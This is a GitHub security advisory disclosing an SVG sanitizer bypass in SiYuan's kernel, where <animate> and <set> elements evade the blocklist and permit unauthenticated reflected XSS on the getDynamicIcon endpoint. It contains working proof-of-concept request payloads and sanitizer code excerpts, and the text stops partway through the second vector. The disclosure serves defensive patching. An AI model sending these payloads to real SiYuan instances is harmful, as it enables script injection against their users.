GitHub Security Advisory: GHSA-5hc8-qmg8-pw27
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.0.0[PII_REDACTED]5236-297bd526708f
Patched in: 0.0.0[PII_REDACTED]5236-297bd526708f

Summary: SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS

Details:
# SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS

## Summary

SiYuan's SVG sanitizer (`SanitizeSVG`) blocks dangerous elements (`<script>`, `<iframe>`, `<foreignobject>`) and removes `on*` event handlers and `javascript:` in `href` attributes. However, it does NOT block SVG animation elements (`<animate>`, `<set>`) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint (type=8), creating a reflected XSS.

This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).

## Affected Component

- **File:** `kernel/util/misc.go`
- **Function:** `SanitizeSVG()` (lines 234-319)
- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated)
- **Version:** SiYuan <= 3.5.9

## Root Cause

The sanitizer checks attributes on elements at **parse time**. SVG `<animate>` and `<set>` elements modify attributes **at runtime** — these elements are not in the sanitizer's blocklist.

### Sanitizer's blocklist (line 250)

```go
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
    n.RemoveChild(c)
    // ...
}
```

Missing from blocklist: `animate`, `set`, `animateTransform`, `animateMotion`

### Attribute check (lines 264-267)

```go
// Only checks static attributes
if strings.HasPrefix(key, "on") {
    continue
}
```

The `<animate>` element's `values` attribute contains the payload (`javascript:...`), but the sanitizer only checks for `on*` prefix, `href`, or `xlink:href` keys. The `values`, `to`, `from`, `attributeName` attributes are all passed through.

## Proof of Concept

### Vector 1: `<animate>` sets `href` to `javascript:`

```
GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
```

After template rendering, the SVG contains:
```xml
<svg ...>
    <text ...></text>
    <a>
        <animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
        <text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
    </a>
    <text></text>
</svg>
```

The sanitizer passes this through because:
1. `<animate>` is not in the element blocklist
2. `attributeName="href"` — key is `attributename`, doesn't start with `on`, not `href` itself
3. `values="javascript:..."` — key is `values`, not `href`

When the SVG is rendered in the browser (navigating directly to the URL), `<animate>` sets the parent `<a>` element's `href` to `javascript:alert(document.domain)`. Clicking "Click me" triggers the JavaScript.

### Vector 2: `<set>` modifies event handlers

```
GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/>